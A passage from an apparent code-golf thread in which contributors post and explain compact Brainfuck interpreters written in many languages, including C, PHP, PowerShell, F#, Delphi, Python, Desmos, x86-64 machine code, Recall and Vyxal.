World](http://cjam.tryitonline.net/#code=bHEzZTRWY2EqQHsiLTxbXSwuKz4iIyJUMSRUPSh0IFQoOlQ7IHsgX1Q9fWcgXDArKEBUQHQgX1Q9byAiXycoJyllcitTLz19JXN-QA&input=KysrKysrKytbPisrKytbPisrPisrKz4rKys-Kzw8PDwtXT4rPis-LT4-K1s8XTwtXT4-Lj4tLS0uKysrKysrKy4uKysrLj4-LjwtLjwuKysrLi0tLS0tLS4tLS0tLS0tLS4-PisuPisrLg). ## Explanation Takes code on the first line of STDIN and input on all lines below it. ``` l Read a line from STDIN (the program) and push it. q Read the rest of STDIN (the input) and push it. 3e4Vc* Push a list of 30000 '\0' characters. @ Rotate the stack so the program is on top. { }% Apply this to each character in prog: "-<[],.+>"# Map '-' to 0, '<' to 1, ... and everything else to -1. ...= Push a magical list and index from it. s~ Concatenate the results and evaluate the resulting string as CJam code. @ Rotate the top three elements again -- but there are only two, so the program terminates. ``` What about that magical list? ``` "T1$T=(t T(:T; { _T=}g \0+(@T@t _T=o " Space-separated CJam snippets. (Note the final space! We want an empty string at the end of the list.) _'(')er+ Duplicate, change (s to )s, append. S/ Split over spaces. ``` The resulting list is as follows: ``` T1$T=(t (-) T(:T; (<) { ([) _T=}g (]) \0+(@T@t (,) _T=o (.) T1$T=)t (+) T):T; (>) { (unused) _T=}g (unused) \0+(@T@t (unused) _T=o (unused) (all other characters) ``` We generate the snippets for `+` and `>` from those for `-` and `<`, simply by changing left parens (CJam’s “decrement”) into right parens (CJam’s “increment”). [Answer] ## C 284 362 (From a file) ``` #include <stdio.h> char b[30000],z[9999],*p=b,c,*a,i;f(char*r,int s){while(c=*a++){if(!s){(c-62)?(c-60)?(c-43)?(c-45)?(c-46)?(c-44)?0:(*p=getchar()):putchar(*p):--*p:++*p:--p:++p;if(c==91)f(a,!*p);else if(c==93){if(!*p)return;else a=r;}}else{if(c==93){--s;if(!*p&&!s)return;}else if(c==91){s++;}}}}main(int c,char**v){fread(z,1,9999,fopen(*++v,"r"));a=z;f(0,0);} ``` **Primes:** ``` Primes up to: 100 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 Press any key to continue . . . ``` Compiled and ran successfully VS2008 Original solution failed to recognize loops that were initially set to zero. Still some room to golf. But finally solves the Prime Number program. **Ungolfed:** ``` #include <stdio.h> char b[30000],z[9999],*p=b,c,*a,i; f(char*r,int s) { while(c=*a++) { if(!s) { (c-62)?(c-60)?(c-43)?(c-45)?(c-46)?(c-44)?0:(*p=getchar()):putchar(*p):--*p:++*p:--p:++p; if(c==91)f(a,!*p); else if(c==93){if(!*p)return;else a=r;} } else { if(c==93) { --s; if(!*p&&!s)return; } else if(c==91) { s++; } } } } main(int c,char**v){ fread(z,1,9999,fopen(*++v,"r")); a=z; f(0,0); } ``` **Tests:** [Hello World](http://en.wikipedia.org/wiki/Brainfuck) [Rot13](http://esoteric.sange.fi/brainfuck/bf-source/prog/rot13.bf) [Answer] ## PHP 5.4, ~~296~~ ~~294~~ ~~273~~ ~~263~~ ~~261~~ ~~209~~ ~~191~~ ~~183~~ ~~178~~ 166 characters: I gave it a shot without using eval, but I eventually had to use it ``` <?$b=0;eval(strtr(`cat $argv[1]`,["]"=>'}',"["=>'while($$b){',"."=>'echo chr($$b);',","=>'$$b=fgetc(STDIN);',"+"=>'$$b++;',"-"=>'$$b--;',">"=>'$b++;',"<"=>'$b--;'])); ``` All commands are working. This heavily abuses variable variables, and spews warnings. However, if one changes their php.ini to squelch warnings (or pipes stderr to /dev/null), this works great. Verification (It's the "Hello World!" example from [Wikipedia](http://en.wikipedia.org/wiki/Brainfuck#Hello_World.21)): <http://codepad.viper-7.com/O9lYjl> **Ungolfed, ~~367~~ ~~365~~ ~~335~~ ~~296~~ 267 characters:** ``` <?php $a[] = $b = 0; $p = implode("",file($argv[1])); // Shorter than file_get_contents by one char $m = array("]" => '}', "[" => 'while($a[$b]){',"." => 'echo chr($a[$b]);', "," => '$a[$b]=fgetc(STDIN);', "+" => '$a[$b]++;', "-" => '$a[$b]--;', ">" => '$b++;', "<" => '$b--;'); $p = strtr($p,$m); @eval($p); ``` This should be run via the command line: `php bf.php hello.bf` [Answer] ## Windows PowerShell, 204 ``` '$c=,0*3e4;'+@{62='$i++ ';60='$i-- ';43='$c[$i]++ ';45='$c[$i]-- ';44='$c[$i]=+[console]::ReadKey().keychar ';46='write-host -n([char]$c[$i]) ';91='for(;$c[$i]){';93='}'}[[int[]][char[]]"$(gc $args)"]|iex ``` Fairly straightforward conversion of the instructions and then `Invoke-Expression`. History: * 2011-02-13 22:24 (220) First attempt. * 2011-02-13 22:25 (218) `3e4` is shorter than `30000`. * 2011-02-13 22:28 (216) Unnecessary line breaks. Matching on integers instead of characters is shorter. * 2011-02-13 22:34 (207) Used indexes into a hash table instead of the `switch`. * 2011-02-13 22:40 (205) Better cast to string removes two parentheses. * 2011-02-13 22:42 (204) No need for a space after the argument to `Write-Host`. [Answer] ## F#: 489 chars The following program doesn't jump at '[' / ']' instructions, but scans the source code for the next matching token. This of course makes it kind of slow, but it can still find the primes under 100. F# integer types don't overflow but wrap. Here's the short version: ``` [<EntryPoint>] let M a= let A,B,i,p,w=Array.create 30000 0uy,[|yield!System.IO.File.ReadAllText a.[0]|],ref 0,ref 0,char>>printf"%c" let rec g n c f a b=if c then f i;if B.[!i]=a then g(n+1)c f a b elif B.[!i]=b then(if n>0 then g(n-1)c f a b)else g n c f a b while !i<B.Length do(let x=A.[!p]in match B.[!i]with|'>'->incr p|'<'->decr p|'+'->A.[!p]<-x+1uy|'-'->A.[!p]<-x-1uy|'.'->w x|','->A.[!p]<-byte<|stdin.Read()|'['->g 0(x=0uy)incr '['']'|']'->g 0(x>0uy)decr ']''['|_->());incr i 0 ``` A nasty gotcha was that the primes.bf program chokes on windows newlines. In order to run it I had to save the input number to a UNIX formatted text document and feed it to the program with a pipe: ``` interpret.exe prime.bf < number.txt ``` *Edit: entering Alt+010 followed by Enter also works in Windows* cmd.exe Here's the longer version: ``` [<EntryPoint>] let Main args = let memory = Array.create 30000 0uy let source = [| yield! System.IO.File.ReadAllText args.[0] |] let memoryPointer = ref 0 let sourcePointer = ref 0 let outputByte b = printf "%c" (char b) let rec scan numBraces mustScan adjustFunc pushToken popToken = if mustScan then adjustFunc sourcePointer if source.[!sourcePointer] = pushToken then scan (numBraces + 1) mustScan adjustFunc pushToken popToken elif source.[!sourcePointer] = popToken then if numBraces > 0 then scan (numBraces - 1) mustScan adjustFunc pushToken popToken else scan numBraces mustScan adjustFunc pushToken popToken while !sourcePointer < source.Length do let currentValue = memory.[!memoryPointer] match source.[!sourcePointer] with | '>' -> incr memoryPointer | '<' -> decr memoryPointer | '+' -> memory.[!memoryPointer] <- currentValue + 1uy | '-' -> memory.[!memoryPointer] <- currentValue - 1uy | '.' -> outputByte currentValue | ',' -> memory.[!memoryPointer] <- byte <| stdin.Read() | '[' -> scan 0 (currentValue = 0uy) incr '[' ']' | ']' -> scan 0 (currentValue > 0uy) decr ']' '[' | _ -> () incr sourcePointer 0 ``` [Answer] ## C, 333 characters This is my first BF interpreter and the first golf I actually had to debug. This runs the prime number generator on Mac OS X/GCC, but an additional `#include<string.h>` may be necessary at a cost of 19 more characters if the implicit definition of `strchr` doesn't happen to work on another platform. Also, it assumes `O_RDONLY == 0`. Aside from that, leaving `int` out of the declaration of `M` saves 3 characters but that doesn't seem to be C99 compliant. Same with the third `*` in `b()`. This depends on the particulars of ASCII encoding. The Brainfuck operators are all complementary pairs separated by a distance of 2 in the ASCII code space. Each function in this program implements a pair of operators. ``` #include<unistd.h> char C[30000],*c=C,o,P[9000],*p=P,*S[9999],**s=S,*O="=,-\\",*t; m(){c+=o;} i(){*c-=o;} w(){o<0?*c=getchar():putchar(*c);} b(){if(o>0)*c?p=*s:*--s;else if(*c)*++s=p;else while(*p++!=93)*p==91&&b();} int(*M[])()={m,i,w,b}; main(int N,char**V){ read(open(V[1],0),P,9e3); while(o=*p++) if(t=strchr(O,++o&~2)) o-=*t+1, M[t-O](); } ``` [Answer] ## C, 267 ``` #define J break;case char*p,a[40000],*q=a;w(n){for(;*q-93;q++){if(n)switch(*q){J'>':++p;J'<':--p;J'+':++*p;J'-':--*p;J'.':putchar(*p);J',':*p=getchar();}if(*q==91){char*r=*p&&n?q-1:0;q++;w(r);q=r?r:q;}}}main(int n,char**v){p=a+read(open(v[1],0),a,9999);*p++=93;w(1);} ``` Run as ./a.out primes.bf ## Ungolfed Version: ``` #define J break;case char*p,a[40000],*q=a; // packed so program immediately followed by data w(n){ for(;*q-93;q++){ // until ']' if(n)switch(*q){ // n = flagged whether loop evaluate or skip(0) J'>':++p; J'<':--p; J'+':++*p; J'-':--*p; J'.':putchar(*p); J',':*p=getchar(); } if(*q==91){char*r=*p&&n?q-1:0;q++;w(r);q=r?r:q;} // recurse on '[', record loop start } } main(int n,char**v){ p=a+read(open(v[1],0),a,9999); *p++=93; // mark EOF with extra ']' and set data pointer to next w(1); // begin as a loop evaluate } ``` [Answer] # C, 260 + 23 = 283 bytes I created a C program which can be found [here](http://phimuemue.com/?p=257). ``` main(int a,char*s[]){int b[atoi(s[2])],*z=b,p;char*c=s[1],v,w;while(p=1, *c){q('>',++z)q('<',--z)q('+',++*z)q('-',--*z)q('.',putchar(*z))q(',',*z =getchar())if(*c=='['||*c==']'){v=*c,w=184-v;if(v<w?*z==0:*z!=0)while(p) v<w?c++:c--,p+=*c==v?1:*c==w?-1:0;}c++;}} ``` Has to be compiled via `gcc -D"q(a,b)"="*c-a||(b);" -o pmmbf pmmbf.c` and can be called as follows: `pmmbf ",[.-]" 30000` whereby the first argument (quoted) contains the bf-program to run, the second determines how large the tape should be. [Answer] ## Delphi, 397 382 378 371 366 364 328 characters Eat this Delphi! ``` 328 var p,d:PByte;f:File;z:Word=30000;x:Int8;begin p:=AllocMem(z+z);d:=p+z;Assign(F,ParamStr(1));Reset(F,1);BlockRead(F,p^,z);repeat z:=1;x:=p^;case x-43of 1:Read(PChar(d)^);3:Write(Char(d^));0,2:d^:=d^+44-x;17,19:d:=d+x-61;48,50:if(d^=0)=(x=91)then repeat p:=p+92-x;z:=z+Ord(p^=x)-Ord(p^=x xor 6);until z=0;end;Inc(p)until x=0;end. ``` Here the same code, indented and commented : ``` var d,p:PByte; x:Int8; f:File; z:Word=30000; begin // Allocate 30000 bytes for the program and the same amount for the data : p:=AllocMem(z+z); d:=p+z; // Read the file (which path must be specified on the command line) : Assign(F,ParamStr(1)); Reset(F,1); BlockRead(F,p^,z); // Handle all input, terminating at #0 (better than the spec requires) : repeat // Prevent a begin+end block by preparing beforehand (values are only usable in '[' and ']' cases) : z:=1; // Start stack at 1 x:=p^; // Starting at '[' or ']' // Choose a handler for this token (the offset saves 1 character in later use) : case x-43of 1:Read(PChar(d)^); // ',' : Read 1 character from input into data-pointer 3:Write(Char(d^)); // '.' : Write 1 character from data-pointer to output 0,2:d^:=d^+44-x; // '+','-' : Increase or decrease data 17,19:d:=d+x-61; // '<','>' : Increase or decrease data pointer 48,50: // '[',']' : Start or end program block, the most complex part : if(d^=0)=(x=91)then // When (data = 0 and forward), or when (data <> 0 and backward) repeat // p:=p+92-x; // Step program 1 byte back or forward z:=z+Ord(p^=x) // Increase stack counter when at another bracket -Ord(p^=x xor 6); // Decrease stack counter when at the mirror char until z=0; // Stop when stack reaches 0 end; Inc(p) until x=0; end. ``` This one took me a few hours, as it's not the kind of code I normally write, but enjoy! Note : The prime test works, but doesn't stop at 100, because it reads #13 (CR) before #10 (LF)... do other submissions suffer this problem too when running on CRLF OSes? [Answer] # Python 2, 223 I admit that I recycled an old program of mine (but had to change it quite a bit, because the old version didn't have input, but error checking...). ``` P="";i,a=0,[0]*30000 import os,sys for c in open(sys.argv[1]).read():x="><+-.[,]".find(c);P+=" "*i+"i+=1 i-=1 a[i]+=1 a[i]-=1 os.write(1,chr(a[i])) while+a[i]: a[i]=ord(os.read(0,1)) 0".split()[x]+"\n";i+=(x>4)*(6-x) exec P ``` Runs the primes calculator fine. I see now that Alexandru has an answer that has some similarities. I'll post mny answer anyways, because I think there are some new ideas in it. [Answer] # [Desmos](https://www.desmos.com/calculator), 470 bytes Program input: * variable \$P\$, containing an array of ASCII codepoints representing the brainfuck program. * variable \$I\$, also containing an array of ASCII codes for stdin You can use [this program](https://tio.run/##NYw9DsMgDIV3TuERFOGlS1VRzpA9YqjyoyIlBhGWnJ7aSfokm89@z@SjfhM9nrm0tpS0wX7sELecSoW9TpFUD28YglpSgTXSDJEu46UAiL11Ji2G4VlCoyRkIQGAHj85zzTpVCY9GqNyiVR1b1rrbg3@3wWuciwbPJO33neDCzJ69NZavO9QAHnpLLqT7an7YeBL5P/wBw) to convert your ASCII to a list of numbers. Unless you like to play the waiting game, I would also recommend that you minify your program stdout is represented by the array \$O\$. Like \$P\$ and \$I\$, it is also an array of codepoints. In addition, you can inspect the memory tape in variable \$M\$. The memory consists of 30000 unsigned bytes, though it will only store as many bytes as necessary because storing 30000 bytes is not great for performance. To begin execution, run the "reset" action and then start the ticker. --- **Ticker code** ``` \left\{j<=P.length:c,a\right\} ``` **Expression list** ``` O=[] i=1 k=1 M=[0] s(x)=M->[\{l=p:\mod(x,256),M[l]\}\for l=[1...M.\length]] p=1 v=M[p] w=P[i] j=1 N=[] S=[] a=\{59<w<63:p->p+w-61,w=44:b,42<w<46:s(v+44-w),w=46:O->O.\join(v),w=91:i->\{v=0:N[i],i\}+1,w=93:i->\{v=0:i,N[i]\}+1\},\{w=62:\{30000>p>=M.\length:M->M.\join(0)\}\},\{\{w=91,w=93,0\}=0:i->i+1\} b=s(I[k]),k->k+1 c=\{P[j]=93:d,N->N.\join(0)\},\{P[j]=91:S->\join(j,S)\},j->j+1 d=N->[\{m=S[1]:j,m=j:S[1],N[m]\}\for m=[1...j]],S->S[2...] ``` [Try it on Desmos!](https://www.desmos.com/calculator/grk3m0wlem) The program loaded in the above TioD is a "Hello, World!" program. The prime number program took around five minutes to print `2 3 5` so I decided that maybe it wasn't the best idea to run it. --- **How it works** The interpreter first matches up bracket pairs, then scans through the program character-by-character and executes them. Below is the code for bracket-matching: ``` j=1 N=[] S=[] c=\{P[j]=93:d,N->N.\join(0)\},\{P[j]=91:S->\join(j,S)\},j->j+1 d=N->[\{m=S[1]:j,m=j:S[1],N[m]\}\for m=[1...j]],S->S[2...] ``` * \$j\$ is a list index, indicating that character \$P[j]\$ is currently being processed * \$N\$ holds the index of the matching bracket pair, if it exists. If \$N[i]\$ is a positive integer, then \$P[i]\$ matches with \$P[N[i]]\$. * \$S\$ is a stack containing the indices of all unmatched `[`s thus far. The top of the stack is at \$S[1]\$. Next there are two actions, \$c\$ and \$d\$. Every time action \$c\$ is run, the next character in the program is processed. ``` c=\{P[j]=93:d,N->N.\join(0)\},\{P[j]=91:S->\join(j,S)\},j->j+1 c= c is an action containing: \{ \}, a conditional... P[j]=93:d, that runs d if P[j]=93 (']') N->N.\join(0) and appends 0 to N otherwise \{ \}, a conditional... P[j]=91: that when P[j]=91 ('[')... S->\join(j,S) pushes j to S j->j+1 increment j ``` \$d\$ is the response to when a `']'` character is detected. Because it consists of two actions, it cannot be directly placed in the conditional and thus must be defined separately. ``` d=N->[\{m=S[1]:j,m=j:S[1],N[m]\}\for m=[1...j]],S->S[2...] d= d is an action consisting of: N->[\{ N[m]\}\for m=[1...j]], a modification to N m=S[1]:j, in which N[S[1]] is set to j m=j:S[1], and N[j] is set to S[1] S->S[2...] the topmost value is popped from S ``` Once bracket pairs are matched the expression is evaluated character-by-character: ``` i=1 k=1 M=[0] s(x)=M->[\{l=p:\mod(x,256),M[l]\}\for l=[1...M.\length]] p=1 v=M[p] w=P[i] a=\{59<w<63:p->p+w-61,w=44:b,42<w<46:s(v+44-w),w=46:O->O.\join(v),w=91:i->\{v=0:N[i],i\}+1,w=93:i->\{v=0:i,N[i]\}+1\},\{w=62:\{p=M.\length:M->M.\join(0)\}\},\{\{w=91,w=93,0\}=0:i->i+1\} b=s(I[k]),k->k+1 ``` * \$i\$ is the instruction pointer * \$k\$ is the next character to be read in stdout * \$M\$ is the memory tape * \$s(x)\$ sets the value of the current cell to \$x\$ * \$p\$ points to the current memory cell * \$v\$ is the value of the current cell * \$w\$ is the current instruction \$a\$ is an action that executes the next character. \$b\$ is a utility for reading from stdin - like \$d\$, \$b\$ is separated because conditional branches only support one action. \$a\$ is rather long, so here it is branch-by-branch: ``` a= \{ 59<w<63:p->p+w-61, ><: hack for p±±-ing; 6 bytes smaller than doing it separately w=44:b, ,: read from stdin (do this before +- to avoid interference) 42<w<46:s(v+44-w), +-: same hack w=46:O->O.\join(v), .: write to stdout w=91:i->\{v=0:N[i],i\}+1, [: jump to end if v=0 w=93:i->\{v=0:i,N[i]\}+1 ]: jump to start if v!=0 \}, \{w=62:\{p=M.\length:M->M.\join(0)\}\}, widen memory tape if necessary \{\{w=91,w=93,0\}=0:i->i+1\} increment instruction pointer if not '[' or ']' ``` Essentially \$a\$ is a big conditional that performs different actions for different characters, then ties up some loose ends afterwards. \$b\$, which reads from stdin, is relatively straightforward: ``` b=s(I[k]),k->k+1 b= b is an action that s(I[k]), writes the next character from stdin into memory k->k+1 and increments the character pointer for stdin ``` Finally, the exection of all of this is controlled by a ticker: ``` \left\{j<=P.length:c,a\right\} ``` This ticker will choose between \$a\$ and \$c\$ depending on whether the bracket matching is done or not. When the input program and stdin are set up and the ticker is run, this program should be able to interpret any brainfuck expression. Just maybe not in a reasonable time frame. [Answer] ## X86\_64/Linux Machine Code, 104 101 100 99 98 97 96 95 93 92 91 89 **Usage:** ``` $> gcc -s -static -nostartfiles -nodefaultlibs -nostdlib -Wl,-Tbss=0x7ffe0000 -DBF_IDEAL_BSS -Wl,--build-id=none bf.S -o bf $> ./bf <input> ``` #### Notes * Size is measured in machine code (i.e 89 bytes of `PROGBITS`; `.text`, `.data`, etc...) * `-9` bytes if reads input prog from stdin * `-4` more bytes without `BF_EXITCLEANLY` (it will segfault to exit). * `-2` more bytes with `BF_BALANCED` (assumes that over course of program data cell returns to start). * So minimum possible size **74** bytes. * **NOTE** Without the ideal bss setup (at address `0x7ffe0000` and `BF_IDEAL_BSS` defined as seen in compile command above) add `+2` bytes. ``` #define BF_LBRACE 91 #define BF_RBRACE 93 #define BF_DOT 46 #define BF_COMMA 44 #define BF_PLUS 43 #define BF_MINUS 45 #define BF_LSHIFT 60 #define BF_RSHIFT 62 #define BF_READFILE #define BF_EXITCLEANLY // #define BF_IDEAL_BSS // #define BF_BALANCED .global _start .text _start: /* All incoming registers at zero. */ /* Large read range. This may cause errors for huge programs (which will fail anyways). */ decl %edx #ifdef BF_READFILE /* open. */ movb $2, %al /* 3rd argument in rsp is first commandline argument. */ pop %rdi pop %rdi pop %rdi /* O_RDONLY is zero. */ syscall /* Error is okay, we will eventually just exit w.o executing. */ xchgl %eax, %edi /* Sets ESI at 2 ** 31. This is an arbitrary address > 65536 (minimum deref address on linux) < 2 ** 32 - PROG_SPACE (PROG_SPACE ~= 262144). We setup bss at 2 ** 31 - 131072 via linker script (-Tbss=0x7ffe0000). */ # ifdef BF_IDEAL_BSS bts %edx, %esi # else movl $(G_mem + 65536), %esi # endif /* bss initialized memory is zero. This is cheapest way to zero out eax. */ lodsl #else # ifdef BF_IDEAL_BSS bts %edx, %esi # else movl $(G_mem + 65536), %esi # endif #endif /* eax/edi are already zero which happens to match SYS_read/STDIN_FILENO. */ syscall /* Usage linux' pre-allocated stack for braces. */ /* Program code grows up. */ movl %esi, %ebx /* Assuming no errors, reach stores size in eax. Note errors or 0-byte reads are okay. The ebx is readable memory and zero- initialized (bss), so it its zero-length, it will just be an invalid op and we will hit bounds check below. If its error, eax is negative so ebx will be negative and likewise we will hit bounds check below. */ #ifdef BF_BALANCED addl %eax, %esi xchgl %eax, %ebp #else addl %esi, %eax xchgl %eax, %ebp movl %ebp, %esi #endif /* We have -1 in edx, so negative to get 1. 1 is needed in a variety of places. */ negl %edx run_program: /* Need to zero eax. */ movb (%rbx), %al incl %ebx /* %al contains the program "instruction". Its unique to one of 8 values so just test each in order. If instruction matches execute it then fallthrough (%al can only ever match one). We occasionally set al but are sure never to set it to the ASCII value of any of our 8 instructions. */ /* TODO: Brace handling could probably be smaller. */ try_lbrace: cmpb $BF_LBRACE, %al je do_lbrace try_rbrace: cmpb $BF_RBRACE, %al jne try_cont do_rbrace: /* Popping state (we might repush if we are looping back). */ pop %rdx pop %rdi /* Non-zero cell means loop. Note we have 1 cached in edx. */ cmpb %dl, (%rsi) jb next_insn movl %edi, %ebx do_lbrace: /* Restore loop state. */ push %rbx push %rdx /* If cell is zero, then we are skipping till RBRACE. Note we have 1 cached in edx. */ cmpb %dl, (%rsi) /* -1 if we want to start skipping. */ sbb %dh, %dh try_cont: orb %dh, %al /* we have set ah s.t its either zero or has a value that makes any further matches impossible. */ /* For the rest of the ops we take advantage of the fact that the ascii values of the pairs '<'/'>', '+'/'-', and '.',',' are all 2 apart. This allows use to test a pair with the following formula: `((al - PAIR_LO) & -3) == 0`. This will always leave the pair as 0/2 and will match only the pair. It turns out 0/2 are useful and can be used to do all the rest of the operations w.o extra branches. */ try_lshift: subb $BF_LSHIFT, %al testb $-3, %al jnz try_comma addl %eax, %esi decl %esi try_comma: try_dot: subb $(BF_PLUS - BF_LSHIFT), %al /* We have 0/1/2/3 for '+'/','/'-'/'.' so check if we remaining valid opcode. */ cmpb $3, %al ja next_insn /* 0/2 are '+'/'-' so check low bits. TODO: There may be a way to just care from `shr $1, %al' which would save us an instruction. But it messes up the '+'/'-' case. */ testb $-3, %al jz try_minus /* al is either 3/1. Shift by 1 to get 1/0 for our syscall number. */ shrb $1, %al // btsq $, %rax /* SYS_write == STDOUT_FILENO, SYS_read == STDIN_FILENO. */ movl %eax, %edi /* We already have 1 in rdx. */ syscall /* Assuming no io error, eax is 1. We will subtract 1 from eax in try_minus/try_plus so it will be +/- 0 which does nothing. */ try_minus: try_plus: /* If not coming from syscall eax is 0/2. 0 --> plus, 2 --> minus. So (rsi - eax + 1) translates. */ // setbe %cl subb %al, (%rsi) incb (%rsi) next_insn: #ifdef BF_BALANCED /* If BF_BALANCED is set, we assume that the program will have shifted back columns to start before exiting. */ cmpl %ebx, %esi #else cmpl %ebx, %ebp #endif jg run_program #ifdef BF_EXITCLEANLY /* eax has zero upper 24 bits so we can cheat and use movb here. (This isn't exact correct, assuming no IO errors on last instruction). */ movb $60, %al syscall #endif .section .bss .align 32 G_mem: .space(65536 * 4) ``` Edit: Just for fun, here a compliant **269** byte fully contained ELF file that implements brainfuck on Linux/X86\_64: Its possible to make this smaller. * We could take advantage of the known linux ELF impl and put code in known-unused fields. ``` 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 3e 00 01 00 00 00 b0 10 40 00 00 00 00 00 |..>.......@.....| 00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@...............| 00000030 00 00 00 00 40 00 38 00 02 00 00 00 00 00 00 00 |[[email protected]](/cdn-cgi/l/email-protection).........| 00000040 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 10 40 00 00 00 00 00 00 10 40 00 00 00 00 00 |..@.......@.....| 00000060 cd 00 00 00 00 00 00 00 cd 00 00 00 00 00 00 00 |................| 00000070 00 00 00 00 00 00 00 00 01 00 00 00 06 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 fe 7f 00 00 00 00 |................| 00000090 00 00 fe 7f 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000a0 00 00 04 00 00 00 00 00 20 00 00 00 00 00 00 00 |........ .......| 000000b0 ff ca b0 02 5f 5f 5f 0f 05 97 0f ab d6 ad 0f 05 |....___.........| 000000c0 89 f4 89 f3 01 c6 89 f5 f7 da 0f b6 03 ff c3 3c |...............<| 000000d0 5b 74 0c 3c 5d 75 0e 5a 5f 38 16 72 28 89 fb 53 |[t.<]u.Z_8.r(..S| 000000e0 52 38 16 18 f6 08 f0 2c 3c a8 fd 75 04 01 c6 ff |R8.....,<..u....| 000000f0 ce 2c ef 3c 03 77 0e a8 fd 74 06 d0 e8 89 c7 0f |.,.<.w...t......| 00000100 05 28 06 fe 06 39 dd 7f c1 b0 3c 0f 05 |.(...9....<..| 0000010d ``` [Answer] # [Recall](https://web.archive.org/web/20151007012840/http://www.minxomat.eu/introducing-recall), 594 bytes In short: Recall has no arithmetic operators in a classic sense, it only has bitwise operations. You can not just "add one" etc. Recall is also strictly stack-based. ``` DC505M22022M32032M606M42042M707M92092M4405022o032o06o042o07o092o044o1305022o06o042o092o52052q.q2305022o06o07o93093q.q5403206o07o14014q.q6403206o042o07o24024q.q74Yx34034z03MMMMMMMM034o3yY030401r3.4.101zyY040301r4.3.101zY01052gZ02Z040301052023s4.3.10zyY01023gZ02z030401023052s3.4.10zyY01093gZ02q20zyY01054gZ02u20zyY01014gZx20zyY01064gZ02X0zyY01024gZ03304302r33.43.20zyY01074gZ04303302r43.33.20zyyQ6205.8Y06208g6206208iZ08M808013izy062U7205.9Y07209g7207209iz09M909013izy072R53.63.82063MMMMMMMM053o63082013i53082KKKKKKKK82053063082S84.94.12.73.83t012073083TY083073012r83.73.12012084gzY012094gZt0zyy ``` --- ### Example 1: Print something Input: ``` -[--->+<]>-----..-[----->+<]>.++++.+[->++++<]>.---[----->++<]>.---.------------.++++++++.++++++++.+[-->+++++<]>-. ``` Output: ``` PPCG rocks! ``` --- ### Example 2: Output square numbers up to 100 Input: ``` +[>++<-]>[<+++++>-]+<+[>[>+>+<<-]++>>[<<+>>-]>>>[-]++>[-]+>>>+[[-]++++++>>>]<<<[[<++++++++<++>>-]+<.<[>----<-]<]<<[>>>>>[>>>[-]+++++++++<[>-<-]+++++++++>[-[<->-]+[<<<]]<[>+<-]>]<<-]<<-] ``` Output: ``` 0 1 4 9 16 25 36 49 64 81 100 ``` This example might take a few minuted to execute and might cause a "this tab is frozen" message. Ignore that and wait. [Answer] # [C (gcc)](https://gcc.gnu.org/), ~~273~~ 268 bytes ``` main(_,a){_=fopen("w.c","w");fputs("main(){char a[30000],*p=a;",_);x:a=getchar();fputs(a-62?a-60?a-43?a-45?a-46?a-44?a-91?a-93?~a?"":"}":"}":"while(*p){":"*p=getchar();":"putchar(*p);":"--*p;":"++*p;":"--p;":"++p;",_);if(~a)goto x;fclose(_);system("cc w.c;./a.out");}; ``` [Try it online!](https://tio.run/##RY/rjoMgEIVfxfAL1KHdtdtkC@KDGGIIUWvSFlJp7Ma0r@4OtpudwDecM9zGQm/tspzNcKFNbtjclJ3z7YWSiVuSk4kw0flbGClZ97DZHs01MXWxxdB56ksjSN4wcT@Ysm9DLNO/Mwb2nxVii9gVEV8R@4gd4vsjoqiepiLkQB7vOR2HU0tTz2YU@ML/tajx4lVgOUqA1MecZa8M8Jb@9a2ho0/DehdcchedPbmxpWiPP2Noz5RYm2Cjgm8Md7eAzT7EsmQ11FLWmACUjmuptVZKgVbA0eSK40BbApcZVzFWg6PxCw "C (gcc) – Try It Online") -5 thanks to ceilingcat Takes input from stdin. This relies a little bit on the environment, but is pretty consistent. This is effectively the eval solution for c. It writes an appropriate C program to the file w.c, compiles it, and runs it as the desired executable. Thus as a bonus effect this actually compiles the bf code and leaves `a.out` as a binary for it. Note that depending on the system you may need to modify the last string. In particular most windows c compilers call the default executable "a.exe". Luckily as far as I can tell, they all have the same length so the bytecount is the same. (though if you don't have a cc defined you may need to add a letter such as gcc to the compile command, adding 1 byte). *I am aware that this thread is a bit old, but I didn't see this style of C solution yet, so I thought I'd add it.* [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal) `DOb`, ~~54~~ ~~53~~ 50 bytes ``` `><+-][.,`£¥↔¥`‟„›‹}`f`{:|:C₴_¼`²JĿ?ṘƛC⅛;k23*(0)„Ė ``` [Try it Online!](https://lyxal.pythonanywhere.com?flags=DOb&code=%60%3E%3C%2B-%5D%5B.%2C%60%C2%A3%C2%A5%E2%86%94%C2%A5%60%E2%80%9F%E2%80%9E%E2%80%BA%E2%80%B9%7D%60f%60%7B%3A%7C%3AC%E2%82%B4_%C2%BC%60%C2%B2J%C4%BF%3F%E1%B9%98%C6%9BC%E2%85%9B%3Bk23*%280%29%E2%80%9E%C4%96&inputs=%2B%2B%2B%2B%2B%2B%2B%2B%5B%3E%2B%2B%2B%2B%5B%3E%2B%2B%3E%2B%2B%2B%3E%2B%2B%2B%3E%2B%3C%3C%3C%3C-%5D%3E%2B%3E%2B%3E-%3E%3E%2B%5B%3C%5D%3C-%5D%3E%3E.%3E---.%2B%2B%2B%2B%2B%2B%2B..%2B%2B%2B.%3E%3E.%3C-.%3C.%2B%2B%2B.------.--------.%3E%3E%2B.%3E%2B%2B.%2C.%2C.%2C.%0Aabc&header=&footer=) -4 thanks to Aaron Miller. The basic idea is that a stack is a wrapping tape if you can rotate the whole thing. So it's really just setting up the input, pushing 0s, and transpiling: * `>` - `‟` - rotate stack right * `<` - `„` - rotate stack left * `+` - `›` - increment the current item * `-` - `‹` - decrement the current item * `[` - `{:|` - set a while loop without popping the top * `]` - `}` - close a while loop * `.` - `:C₴` - Duplicate, make a char and output without a trailing newline * `,` - `_¼` - pop, then take a character from input `?ṘƛC⅛;` takes the input and pushes each character to the global array. Then `k23*(0)` pushes 30k zeroes, then `„Ė` runs the code! ]
